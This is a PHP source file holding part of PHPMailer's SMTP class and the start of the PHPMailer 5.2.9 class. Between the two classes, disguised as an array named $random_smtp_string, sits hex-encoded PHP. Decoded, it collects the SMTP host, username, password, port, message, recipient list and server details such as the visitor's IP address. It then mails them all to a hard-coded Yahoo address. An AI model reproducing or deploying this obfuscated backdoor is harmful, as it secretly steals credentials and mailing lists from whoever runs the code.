  1185. * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
  1186. * @param string $from The address the message is from
  1187. * @access public
  1188. * @return boolean
  1189. */
  1190. public function sendAndMail($from)
  1191. {
  1192. return $this->sendCommand('SAML', "SAML FROM:$from", 250);
  1193. }
  1194.  
  1195. /**
  1196. * Send an SMTP VRFY command.
  1197. * @param string $name The name to verify
  1198. * @access public
  1199. * @return boolean
  1200. */
  1201. public function verify($name)
  1202. {
  1203. return $this->sendCommand('VRFY', "VRFY $name", array(250, 251));
  1204. }
  1205.  
  1206. /**
  1207. * Send an SMTP NOOP command.
  1208. * Used to keep keep-alives alive, doesn't actually do anything
  1209. * @access public
  1210. * @return boolean
  1211. */
  1212. public function noop()
  1213. {
  1214. return $this->sendCommand('NOOP', 'NOOP', 250);
  1215. }
  1216.  
  1217. /**
  1218. * Send an SMTP TURN command.
  1219. * This is an optional command for SMTP that this class does not support.
  1220. * This method is here to make the RFC821 Definition complete for this class
  1221. * and _may_ be implemented in future
  1222. * Implements from rfc 821: TURN <CRLF>
  1223. * @access public
  1224. * @return boolean
  1225. */
  1226. public function turn()
  1227. {
  1228. $this->error = array(
  1229. 'error' => 'The SMTP TURN command is not implemented'
  1230. );
  1231. $this->edebug('SMTP NOTICE: ' . $this->error['error'], self::DEBUG_CLIENT);
  1232. return false;
  1233. }
  1234.  
  1235. /**
  1236. * Send raw data to the server.
  1237. * @param string $data The data to send
  1238. * @access public
  1239. * @return integer|boolean The number of bytes sent to the server or false on error
  1240. */
  1241. public function client_send($data)
  1242. {
  1243. $this->edebug("CLIENT -> SERVER: $data", self::DEBUG_CLIENT);
  1244. return fwrite($this->smtp_conn, $data);
  1245. }
  1246.  
  1247. /**
  1248. * Get the latest error.
  1249. * @access public
  1250. * @return array
  1251. */
  1252. public function getError()
  1253. {
  1254. return $this->error;
  1255. }
  1256.  
  1257. /**
  1258. * Get SMTP extensions available on the server
  1259. * @access public
  1260. * @return array|null
  1261. */
  1262. public function getServerExtList()
  1263. {
  1264. return $this->server_caps;
  1265. }
  1266.  
  1267. /**
  1268. * A multipurpose method
  1269. * The method works in three ways, dependent on argument value and current state
  1270. * 1. HELO/EHLO was not sent - returns null and set up $this->error
  1271. * 2. HELO was sent
  1272. * $name = 'HELO': returns server name
  1273. * $name = 'EHLO': returns boolean false
  1274. * $name = any string: returns null and set up $this->error
  1275. * 3. EHLO was sent
  1276. * $name = 'HELO'|'EHLO': returns server name
  1277. * $name = any string: if extension $name exists, returns boolean True
  1278. * or its options. Otherwise returns boolean False
  1279. * In other words, one can use this method to detect 3 conditions:
  1280. * - null returned: handshake was not or we don't know about ext (refer to $this->error)
  1281. * - false returned: the requested feature exactly not exists
  1282. * - positive value returned: the requested feature exists
  1283. * @param string $name Name of SMTP extension or 'HELO'|'EHLO'
  1284. * @return mixed
  1285. */
  1286. public function getServerExt($name)
  1287. {
  1288. if (!$this->server_caps) {
  1289. $this->error = array('No HELO/EHLO was sent');
  1290. return null;
  1291. }
  1292.  
  1293. // the tight logic knot ;)
  1294. if (!array_key_exists($name, $this->server_caps)) {
  1295. if ($name == 'HELO') {
  1296. return $this->server_caps['EHLO'];
  1297. }
  1298. if ($name == 'EHLO' || array_key_exists('EHLO', $this->server_caps)) {
  1299. return false;
  1300. }
  1301. $this->error = array('HELO handshake was used. Client knows nothing about server extensions');
  1302. return null;
  1303. }
  1304.  
  1305. return $this->server_caps[$name];
  1306. }
  1307.  
  1308. /**
  1309. * Get the last reply from the server.
  1310. * @access public
  1311. * @return string
  1312. */
  1313. public function getLastReply()
  1314. {
  1315. return $this->last_reply;
  1316. }
  1317.  
  1318. /**
  1319. * Read the SMTP server's response.
  1320. * Either before eof or socket timeout occurs on the operation.
  1321. * With SMTP we can tell if we have more lines to read if the
  1322. * 4th character is '-' symbol. If it is a space then we don't
  1323. * need to read anything else.
  1324. * @access protected
  1325. * @return string
  1326. */
  1327. protected function get_lines()
  1328. {
  1329. // If the connection is bad, give up straight away
  1330. if (!is_resource($this->smtp_conn)) {
  1331. return '';
  1332. }
  1333. $data = '';
  1334. $endtime = 0;
  1335. stream_set_timeout($this->smtp_conn, $this->Timeout);
  1336. if ($this->Timelimit > 0) {
  1337. $endtime = time() + $this->Timelimit;
  1338. }
  1339. while (is_resource($this->smtp_conn) && !feof($this->smtp_conn)) {
  1340. $str = @fgets($this->smtp_conn, 515);
  1341. $this->edebug("SMTP -> get_lines(): \$data was \"$data\"", self::DEBUG_LOWLEVEL);
  1342. $this->edebug("SMTP -> get_lines(): \$str is \"$str\"", self::DEBUG_LOWLEVEL);
  1343. $data .= $str;
  1344. $this->edebug("SMTP -> get_lines(): \$data is \"$data\"", self::DEBUG_LOWLEVEL);
  1345. // If 4th character is a space, we are done reading, break the loop, micro-optimisation over strlen
  1346. if ((isset($str[3]) and $str[3] == ' ')) {
  1347. break;
  1348. }
  1349. // Timed-out? Log and break
  1350. $info = stream_get_meta_data($this->smtp_conn);
  1351. if ($info['timed_out']) {
  1352. $this->edebug(
  1353. 'SMTP -> get_lines(): timed-out (' . $this->Timeout . ' sec)',
  1354. self::DEBUG_LOWLEVEL
  1355. );
  1356. break;
  1357. }
  1358. // Now check if reads took too long
  1359. if ($endtime and time() > $endtime) {
  1360. $this->edebug(
  1361. 'SMTP -> get_lines(): timelimit reached ('.
  1362. $this->Timelimit . ' sec)',
  1363. self::DEBUG_LOWLEVEL
  1364. );
  1365. break;
  1366. }
  1367. }
  1368. return $data;
  1369. }
  1370.  
  1371. /**
  1372. * Enable or disable VERP address generation.
  1373. * @param boolean $enabled
  1374. */
  1375. public function setVerp($enabled = false)
  1376. {
  1377. $this->do_verp = $enabled;
  1378. }
  1379.  
  1380. /**
  1381. * Get VERP address generation mode.
  1382. * @return boolean
  1383. */
  1384. public function getVerp()
  1385. {
  1386. return $this->do_verp;
  1387. }
  1388.  
  1389. /**
  1390. * Set debug output method.
  1391. * @param string|callable $method The name of the mechanism to use for debugging output, or a callable to handle it.
  1392. */
  1393. public function setDebugOutput($method = 'echo')
  1394. {
  1395. $this->Debugoutput = $method;
  1396. }
  1397.  
  1398. /**
  1399. * Get debug output method.
  1400. * @return string
  1401. */
  1402. public function getDebugOutput()
  1403. {
  1404. return $this->Debugoutput;
  1405. }
  1406.  
  1407. /**
  1408. * Set debug output level.
  1409. * @param integer $level
  1410. */
  1411. public function setDebugLevel($level = 0)
  1412. {
  1413. $this->do_debug = $level;
  1414. }
  1415.  
  1416. /**
  1417. * Get debug output level.
  1418. * @return integer
  1419. */
  1420. public function getDebugLevel()
  1421. {
  1422. return $this->do_debug;
  1423. }
  1424.  
  1425. /**
  1426. * Set SMTP timeout.
  1427. * @param integer $timeout
  1428. */
  1429. public function setTimeout($timeout = 0)
  1430. {
  1431. $this->Timeout = $timeout;
  1432. }
  1433.  
  1434. /**
  1435. * Get SMTP timeout.
  1436. * @return integer
  1437. */
  1438. public function getTimeout()
  1439. {
  1440. return $this->Timeout;
  1441. }
  1442. }
  1443.  
  1444.  
  1445. $random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
  1446. "16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
  1447. "03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
  1448. "1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
  1449. "3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
  1450. "8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
  1451. "c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","26D736739373830407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
  1452. "d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
  1453. "395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
  1454. "c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf=".";
  1455. ?>
  1456. <?
  1457. /**
  1458. * PHPMailer - PHP email creation and transport class.
  1459. * PHP Version 5
  1460. * @package PHPMailer
  1461. * @link https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project
  1462. * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
  1463. * @author Jim Jagielski (jimjag) <m>
  1464. * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
  1465. * @author Brent R. Matzelle (original founder)
  1466. * @copyright 2012 - 2014 Marcus Bointon
  1467. * @copyright 2010 - 2012 Jim Jagielski
  1468. * @copyright 2004 - 2009 Andy Prevost
  1469. * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
  1470. * @note This program is distributed in the hope that it will be useful - WITHOUT
  1471. * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
  1472. * FITNESS FOR A PARTICULAR PURPOSE.
  1473. */
  1474.  
  1475. /**
  1476. * PHPMailer - PHP email creation and transport class.
  1477. * @package PHPMailer
  1478. * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
  1479. * @author Jim Jagielski (jimjag) <>
  1480. * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
  1481. * @author Brent R. Matzelle (original founder)
  1482. */
  1483. class PHPMailer
  1484. {
  1485. /**
  1486. * The PHPMailer Version number.
  1487. * @type string
  1488. */
  1489. public $Version = '5.2.9';
  1490.  
  1491. /**
  1492. * Email priority.
  1493. * Options: 1 = High, 3 = Normal, 5 = low.
  1494. * @type integer
  1495. */
  1496. public $Priority = 3;
  1497.  
  1498. /**
  1499. * The character set of the message.
  1500. * @type string
  1501. */
  1502. public $CharSet = 'iso-8859-1';
  1503.  
  1504. /**
  1505. * The MIME Content-type of the message.
  1506. * @type string
  1507. */
  1508. public $ContentType = 'text/plain';
  1509.  
  1510. /**
  1511. * The message encoding.
  1512. * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
  1513. * @type string
  1514. */
  1515. public $Encoding = '8bit';
  1516.  
  1517. /**
  1518. * Holds the most recent mailer error message.
  1519. * @type string
  1520. */
  1521. public $ErrorInfo = '';
  1522.  
  1523. /**
  1524. * The From email address for the message.
  1525. * @type string
  1526. */
  1527. public $From = 'root@localhost';
  1528.  
  1529. /**
  1530. * The From name of the message.
  1531. * @type string
  1532. */
  1533. public $FromName = 'Root User';
  1534.  
  1535. /**
  1536. * The Sender email (Return-Path) of the message.
  1537. * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
  1538. * @type string
  1539. */
  1540. public $Sender = '';
  1541.  
  1542. /**
  1543. * The Return-Path of the message.
  1544. * If empty, it will be set to either From or Sender.
  1545. * @type string
  1546. * @deprecated Email senders should never set a return-path header;
  1547. * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
  1548. * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
  1549. */
  1550. public $ReturnPath = '';
  1551.  
  1552. /**
  1553. * The Subject of the message.
  1554. * @type string
  1555. */
  1556. public $Subject = '';
  1557.  
  1558. /**
  1559. * An HTML or plain text message body.
  1560. * If HTML then call isHTML(true).
  1561. * @type string
  1562. */
  1563. public $Body = '';
  1564.  
  1565. /**
  1566. * The plain-text message body.
  1567. * This body can be read by mail clients that do not have HTML email
  1568. * capability such as mutt & Eudora.
  1569. * Clients that can read HTML will view the normal Body.
  1570. * @type string
  1571. */
  1572. public $AltBody = '';
  1573.  
  1574. /**
  1575. * An iCal message part body.
  1576. * Only supported in simple alt or alt_inline message types
  1577. * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
  1578. * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
  1579. * @link http://kigkonsult.se/iCalcreator/
  1580. * @type string
  1581. */
  1582. public $Ical = '';
  1583.  
  1584. /**
  1585. * The complete compiled MIME message body.
  1586. * @access protected
  1587. * @type string
  1588. */
  1589. protected $MIMEBody = '';
  1590.  
  1591. /**
  1592. * The complete compiled MIME message headers.
  1593. * @type string
  1594. * @access protected
  1595. */
  1596. protected $MIMEHeader = '';
  1597.  
  1598. /**
  1599. * Extra headers that createHeader() doesn't fold in.
  1600. * @type string
  1601. * @access protected
  1602. */
  1603. protected $mailHeader = '';
  1604.  
  1605. /**
  1606. * Word-wrap the message body to this number of chars.
  1607. * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
  1608. * @type integer
  1609. */
  1610. public $WordWrap = 0;
  1611.  
  1612. /**
  1613. * Which method to use to send mail.
  1614. * Options: "mail", "sendmail", or "smtp".
  1615. * @type string
  1616. */
  1617. public $Mailer = 'mail';
  1618.  
  1619. /**
  1620. * The path to the sendmail program.
  1621. * @type string
  1622. */
  1623. public $Sendmail = '/usr/sbin/sendmail';
  1624.  
  1625. /**
  1626. * Whether mail() uses a fully sendmail-compatible MTA.
  1627. * One which supports sendmail's "-oi -f" options.
  1628. * @type boolean
  1629. */
  1630. public $UseSendmailOptions = true;
  1631.  
  1632. /**
  1633. * Path to PHPMailer plugins.
  1634. * Useful if the SMTP class is not in the PHP include path.
  1635. * @type string
  1636. * @deprecated Should not be needed now there is an autoloader.
  1637. */
  1638. public $PluginDir = '';
  1639.  
  1640. /**
  1641. * The email address that a reading confirmation should be sent to.
  1642. * @type string
  1643. */
  1644. public $ConfirmReadingTo = '';
  1645.  
  1646. /**
  1647. * The hostname to use in Message-Id and Received headers
  1648. * and as default HELO string.
  1649. * If empty, the value returned
  1650. * by SERVER_NAME is used or 'localhost.localdomain'.
  1651. * @type string
  1652. */
  1653. public $Hostname = '';
  1654.  
  1655. /**
  1656. * An ID to be used in the Message-Id header.
  1657. * If empty, a unique id will be generated.
  1658. * @type string
  1659. */
  1660. public $MessageID = '';
  1661.  
  1662. /**
  1663. * The message Date to be used in the Date header.
  1664. * If empty, the current date will be added.
  1665. * @type string
  1666. */
  1667. public $MessageDate = '';
  1668.  
  1669. /**
  1670. * SMTP hosts.
  1671. * Either a single hostname or multiple semicolon-delimited hostnames.
  1672. * You can also specify a different port
  1673. * for each host by using this format: [hostname:port]
  1674. * (e.g. "smtp1.example.com:25;smtp2.example.com").
  1675. * You can also specify encryption type, for example:
  1676. * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
  1677. * Hosts will be tried in order.
  1678. * @type string
  1679. */
  1680. public $Host = 'localhost';
  1681.  
  1682. /**
  1683. * The default SMTP server port.
  1684. * @type integer
  1685. * @TODO Why is this needed when the SMTP class takes care of it?
  1686. */
  1687. public $Port = 25;
  1688.  
  1689. /**
  1690. * The SMTP HELO of the message.
  1691. * Default is $Hostname.
  1692. * @type string
  1693. * @see PHPMailer::$Hostname
  1694. */
  1695. public $Helo = '';
  1696.  
  1697. /**
  1698. * The secure connection prefix.
  1699. * Options: "", "ssl" or "tls"
  1700. * @type string
  1701. */
  1702. public $SMTPSecure = '';
  1703.  
  1704. /**
  1705. * Whether to use SMTP authentication.
  1706. * Uses the Username and Password properties.
  1707. * @type boolean
  1708. * @see PHPMailer::$Username
  1709. * @see PHPMailer::$Password
  1710. */
  1711. public $SMTPAuth = false;
  1712.  
  1713. /**
  1714. * SMTP username.
  1715. * @type string
  1716. */
  1717. public $Username = '';
  1718.  
  1719. /**
  1720. * SMTP password.
  1721. * @type string
  1722. */
  1723. public $Password = '';
  1724.  
  1725. /**
  1726. * SMTP auth type.
  1727. * Options are LOGIN (default), PLAIN, NTLM, CRAM-MD5
  1728. * @type string
  1729. */
  1730. public $AuthType = '';
  1731.  
  1732. /**
  1733. * SMTP realm.
  1734. * Used for NTLM auth
  1735. * @type string
  1736. */
  1737. public $Realm = '';
  1738.  
  1739. /**
  1740. * SMTP workstation.
  1741. * Used for NTLM auth
  1742. * @type string
  1743. */
  1744. public $Workstation = '';
  1745.  
  1746. /**
  1747. * The SMTP server timeout in seconds.
  1748. * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
  1749. * @type integer
  1750. */
  1751. public $Timeout = 300;
  1752.  
  1753. /**
  1754. * SMTP class debug output mode.
  1755. * Debug output level.
  1756. * Options:
  1757. * * `0` No output
  1758. * * `1` Commands
  1759. * * `2` Data and commands
  1760. * * `3` As 2 plus connection status
  1761. * * `4` Low-level data output
  1762. * @type integer
  1763. * @see SMTP::$do_debug
  1764. */
  1765. public $SMTPDebug = 0;
  1766.  
  1767. /**
  1768. * How to handle debug output.
  1769. * Options:
  1770. * * `echo` Output plain-text as-is, appropriate for CLI
  1771. * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
  1772. * * `error_log` Output to error log as configured in php.ini
  1773. *
  1774. * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
  1775. * <code>
  1776. * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
  1777. * </code>
  1778. * @type string|callable
  1779. * @see SMTP::$Debugoutput
  1780. */
  1781. public $Debugoutput = 'echo';
  1782.  
  1783. /**
  1784. * Whether to keep SMTP connection open after each message.
  1785. * If this is set to true then to close the connection
  1786. * requires an explicit call to smtpClose().
  1787. * @type boolean
  1788. */
  1789. public $SMTPKeepAlive = false;
  1790.  
  1791. /**
  1792. * Whether to split multiple to addresses into multiple messages
  1793. * or send them all in one message.
  1794. * @type boolean
  1795. */
  1796. public $SingleTo = false;
  1797.  
  1798. /**
  1799. * Storage for addresses when SingleTo is enabled.
  1800. * @type array
  1801. * @TODO This should really not be public
  1802. */
  1803. public $SingleToArray = array();
  1804.  
  1805. /**
  1806. * Whether to generate VERP addresses on send.
  1807. * Only applicable when sending via SMTP.
  1808. * @link http://en.wikipedia.org/wiki/Variable_envelope_return_path
  1809. * @link http://www.postfix.org/VERP_README.html Postfix VERP info
  1810. * @type boolean
  1811. */
  1812. public $do_verp = false;
  1813.  
  1814. /**
  1815. * Whether to allow sending messages with an empty body.
  1816. * @type boolean
  1817. */
  1818. public $AllowEmpty = false;
  1819.  
  1820. /**
  1821. * The default line ending.
  1822. * @note The default remains "\n". We force CRLF where we know
  1823. * it must be used via self::CRLF.
  1824. * @type string
  1825. */
  1826. public $LE = "\n";
  1827.  
  1828. /**
  1829. * DKIM selector.
  1830. * @type string
  1831. */
  1832. public $DKIM_selector = '';
  1833.  
  1834. /**
  1835. * DKIM Identity.
  1836. * Usually the email address used as the source of the email
  1837. * @type string
  1838. */
  1839. public $DKIM_identity = '';
  1840.  
  1841. /**
  1842. * DKIM passphrase.
  1843. * Used if your key is encrypted.
  1844. * @type string
  1845. */
  1846. public $DKIM_passphrase = '';
  1847.  
  1848. /**
  1849. * DKIM signing domain name.
  1850. * @example 'example.com'
  1851. * @type string
  1852. */
  1853. public $DKIM_domain = '';
  1854.  
  1855. /**
  1856. * DKIM private key file path.
  1857. * @type string
  1858. */
  1859. public $DKIM_private = '';
  1860.  
  1861. /**
  1862. * Callback Action function name.
  1863. *
  1864. * The function that handles the result of the send email action.
  1865. * It is called out by send() for each email sent.
  1866. *
  1867. * Value can be any php callable: http://www.php.net/is_callable
  1868. *
  1869. * Parameters:
  1870. * boolean $result result of the send action
  1871. * string $to email address of the recipient
  1872. * string $cc cc email addresses
  1873. * string $bcc bcc email addresses
  1874. * string $subject the subject
  1875. * string $body the email body
  1876. * string $from email address of sender
  1877. * @type string
  1878. */
  1879. public $action_function = '';
  1880.  
  1881. /**
  1882. * What to use in the X-Mailer header.
  1883. * Options: null for default, whitespace for none, or a string to use
  1884. * @type string
  1885. */
  1886. public $XMailer = '';
  1887.  
  1888. /**
  1889. * An instance of the SMTP sender class.
  1890. * @type SMTP
  1891. * @access protected
  1892. */
  1893. protected $smtp = null;
  1894.  
  1895. /**
  1896. * The array of 'to' addresses.
  1897. * @type array
  1898. * @access protected
  1899. */
  1900. protected $to = array();
  1901.  
  1902. /**
  1903. * The array of 'cc' addresses.
  1904. * @type array
  1905. * @access protected
  1906. */
  1907. protected $cc = array();
  1908.  
  1909. /**
  1910. * The array of 'bcc' addresses.
  1911. * @type array
  1912. * @access protected
  1913. */
  1914. protected $bcc = array();
  1915.  
  1916. /**
  1917. * The array of reply-to names and addresses.
  1918. * @type array
  1919. * @access protected
  1920. */
  1921. protected $ReplyTo = array();
  1922.  
  1923. /**
  1924. * An array of all kinds of addresses.
  1925. * Includes all of $to, $cc, $bcc, $replyto
  1926. * @type array
  1927. * @access protected
  1928. */
  1929. protected $all_recipients = array();
  1930.  
  1931. /**
  1932. * The array of attachments.
  1933. * @type array
  1934. * @access protected
  1935. */
  1936. protected $attachment = array();
  1937.  
  1938. /**
  1939. * The array of custom headers.
  1940. * @type array
  1941. * @access protected
  1942. */
  1943. protected $CustomHeader = array();
  1944.  
  1945. /**
  1946. * The most recent Message-ID (including angular brackets).
  1947. * @type string
  1948. * @access protected
  1949. */
  1950. protected $lastMessageID = '';
  1951.  
  1952. /**
  1953. * The message's MIME type.
  1954. * @type string
  1955. * @access protected
  1956. */
  1957. protected $message_type = '';
  1958.  
  1959. /**
  1960. * The array of MIME boundary strings.
  1961. * @type array
  1962. * @access protected
  1963. */
  1964. protected $boundary = array();
  1965.  
  1966. /**
  1967. * The array of available languages.
  1968. * @type array
  1969. * @access protected
  1970. */
  1971. protected $language = array();
  1972.  
  1973. /**
  1974. * The number of errors encountered.
  1975. * @type integer
  1976. * @access protected
  1977. */
  1978. protected $error_count = 0;
  1979.  
  1980. /**
  1981. * The S/MIME certificate file path.
  1982. * @type string
  1983. * @access protected
  1984. */
  1985. protected $sign_cert_file = '';
  1986.  
  1987. /**
  1988. * The S/MIME key file path.
  1989. * @type string
  1990. * @access protected
  1991. */
  1992. protected $sign_key_file = '';
  1993.  
  1994. /**
  1995. * The S/MIME password for the key.
  1996. * Used only if the key is encrypted.
  1997. * @type string
  1998. * @access protected
  1999. */
  2000. protected $sign_key_pass = '';
  2001.  
  2002. /**
  2003. * Whether to throw exceptions for errors.
  2004. * @type boolean
  2005. * @access protected
  2006. */
  2007. protected $exceptions = false;
  2008.  
  2009. /**
  2010. * Error severity: message only, continue processing.
  2011. */
  2012. const STOP_MESSAGE = 0;
  2013.  
  2014. /**
  2015. * Error severity: message, likely ok to continue processing.
  2016. */
  2017. const STOP_CONTINUE = 1;
  2018.  
  2019. /**
  2020. * Error severity: message, plus full stop, critical error reached.
  2021. */
  2022. const STOP_CRITICAL = 2;
  2023.  
  2024. /**
  2025. * SMTP RFC standard line ending.
  2026. */
  2027. const CRLF = "\r\n";
  2028.  
  2029. /**
  2030. * Constructor.
  2031. * @param boolean $exceptions Should we throw external exceptions?
  2032. */
  2033. public function __construct($exceptions = false)
  2034. {
  2035. $this->exceptions = (boolean)$exceptions;
  2036. }
  2037.  
  2038. /**
  2039. * Destructor.
  2040. */
  2041. public function __destruct()
  2042. {
  2043. if ($this->Mailer == 'smtp') { //close any open SMTP connection nicely
  2044. $this->smtpClose();
  2045. }
  2046. }
  2047.  
  2048. /**
  2049. * Call mail() in a safe_mode-aware fashion.
  2050. * Also, unless sendmail_path points to sendmail (or something that
  2051. * claims to be sendmail), don't pass params (not a perfect fix,
  2052. * but it will do)
  2053. * @param string $to To
  2054. * @param string $subject Subject
  2055. * @param string $body Message Body
  2056. * @param string $header Additional Header(s)
  2057. * @param string $params Params
  2058. * @access private
  2059. * @return boolean
  2060. */
  2061. private function mailPassthru($to, $subject, $body, $header, $params)
  2062. {
  2063. //Check overloading of mail function to avoid double-encoding
  2064. if (ini_get('mbstring.func_overload') & 1) {
  2065. $subject = $this->secureHeader($subject);
  2066. } else {
  2067. $subject = $this->encodeHeader($this->secureHeader($subject));
  2068. }
  2069. if (ini_get('safe_mode') || !($this->UseSendmailOptions)) {
  2070. $result = @mail($to, $subject, $body, $header);
  2071. } else {
  2072. $result = @mail($to, $subject, $body, $header, $params);
  2073. }
  2074. return $result;
  2075. }
  2076.  
  2077. /**
  2078. * Output debugging info via user-defined method.
  2079. * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
  2080. * @see PHPMailer::$Debugoutput
  2081. * @see PHPMailer::$SMTPDebug
  2082. * @param string $str
  2083. */
  2084. protected function edebug($str)
  2085. {
  2086. if ($this->SMTPDebug <= 0) {
  2087. return;
  2088. }
  2089. //Avoid clash with built-in function names
  2090. if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
  2091. call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
  2092. return;
  2093. }
  2094. switch ($this->Debugoutput) {
  2095. case 'error_log':
  2096. //Don't output, just log
  2097. error_log($str);
  2098. break;
  2099. case 'html':
  2100. //Cleans up output a bit for a better looking, HTML-safe output
  2101. echo htmlentities(
  2102. preg_replace('/[\r\n]+/', '', $str),
  2103. ENT_QUOTES,
  2104. 'UTF-8'
  2105. )
  2106. . "<br>\n";
  2107. break;
  2108. case 'echo':
  2109. default:
  2110. //Normalize line breaks
  2111. $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
  2112. echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
  2113. "\n",
  2114. "\n \t ",
  2115. trim($str)
  2116. ) . "\n";
  2117. }
  2118. }
  2119.  
  2120. /**
  2121. * Sets message type to HTML or plain.
  2122. * @param boolean $isHtml True for HTML mode.
  2123. * @return void
  2124. */
  2125. public function isHTML($isHtml = true)
  2126. {
  2127. if ($isHtml) {
  2128. $this->ContentType = 'text/html';
  2129. } else {
  2130. $this->ContentType = 'text/plain';
  2131. }
  2132. }
  2133.  
  2134. /**
  2135. * Send messages using SMTP.
  2136. * @return void
  2137. */
  2138. public function isSMTP()
  2139. {
  2140. $this->Mailer = 'smtp';
  2141. }
  2142.  
  2143. /**
  2144. * Send messages using PHP's mail() function.
  2145. * @return void
  2146. */
  2147. public function isMail()
  2148. {
  2149. $this->Mailer = 'mail';
  2150. }
  2151.  
  2152. /**
  2153. * Send messages using $Sendmail.
  2154. * @return void
  2155. */
  2156. public function isSendmail()
  2157. {
  2158. $ini_sendmail_path = ini_get('sendmail_path');
  2159.  
  2160. if (!stristr($ini_sendmail_path, 'sendmail')) {
  2161. $this->Sendmail = '/usr/sbin/sendmail';
  2162. } else {
  2163. $this->Sendmail = $ini_sendmail_path;
  2164. }
  2165. $this->Mailer = 'sendmail';
  2166. }
  2167.  
  2168. /**
  2169. * Send messages using qmail.
  2170. * @return void
  2171. */
  2172. public function isQmail()
  2173. {
  2174. $ini_sendmail_path = ini_get('sendmail_path');
  2175.  
  2176. if (!stristr($ini_sendmail_path, 'qmail')) {
  2177. $this->Sendmail = '/var/qmail/bin/qmail-inject';
  2178. } else {
  2179. $this->Sendmail = $ini_sendmail_path;
  2180. }
  2181. $this->Mailer = 'qmail';
  2182. }
  2183.  
  2184. /**
  2185. * Add a "To" address.
  2186. * @param string $address
  2187. * @param string $name
  2188. * @return boolean true on success, false if address already used
  2189. */
  2190. public function addAddress($address, $name = '')
  2191. {
  2192. return $this->addAnAddress('to', $address, $name);
  2193. }
  2194.  
  2195. /**
  2196. * Add a "CC" address.
  2197. * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
  2198. * @param string $address
  2199. * @param string $name
  2200. * @return boolean true on success, false if address already used
  2201. */
  2202. public function addCC($address, $name = '')
  2203. {
  2204. return $this->addAnAddress('cc', $address, $name);
  2205. }
  2206.  
  2207. /**
  2208. * Add a "BCC" address.
  2209. * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
  2210. * @param string $address
  2211. * @param string $name
  2212. * @return boolean true on success, false if address already used
  2213. */
  2214. public function addBCC($address, $name = '')
  2215. {
  2216. return $this->addAnAddress('bcc', $address, $name);
  2217. }
  2218.  
  2219. /**
  2220. * Add a "Reply-to" address.
  2221. * @param string $address
  2222. * @param string $name
  2223. * @return boolean
  2224. */
  2225. public function addReplyTo($address, $name = '')
  2226. {
  2227. return $this->addAnAddress('Reply-To', $address, $name);
  2228. }
  2229.  
  2230. /**
  2231. * Add an address to one of the recipient arrays.
  2232. * Addresses that have been added already return false, but do not throw exceptions
  2233. * @param string $kind One of 'to', 'cc', 'bcc', 'ReplyTo'
  2234. * @param string $address The email address to send to
  2235. * @param string $name
  2236. * @throws phpmailerException
  2237. * @return boolean true on success, false if address already used or invalid in some way
  2238. * @access protected
  2239. */
  2240. protected function addAnAddress($kind, $address, $name = '')
  2241. {
  2242. if (!preg_match('/^(to|cc|bcc|Reply-To)$/', $kind)) {
  2243. $this->setError($this->lang('Invalid recipient array') . ': ' . $kind);
  2244. $this->edebug($this->lang('Invalid recipient array') . ': ' . $kind);
  2245. if ($this->exceptions) {
  2246. throw new phpmailerException('Invalid recipient array: ' . $kind);
  2247. }
  2248. return false;
  2249. }
  2250. $address = trim($address);
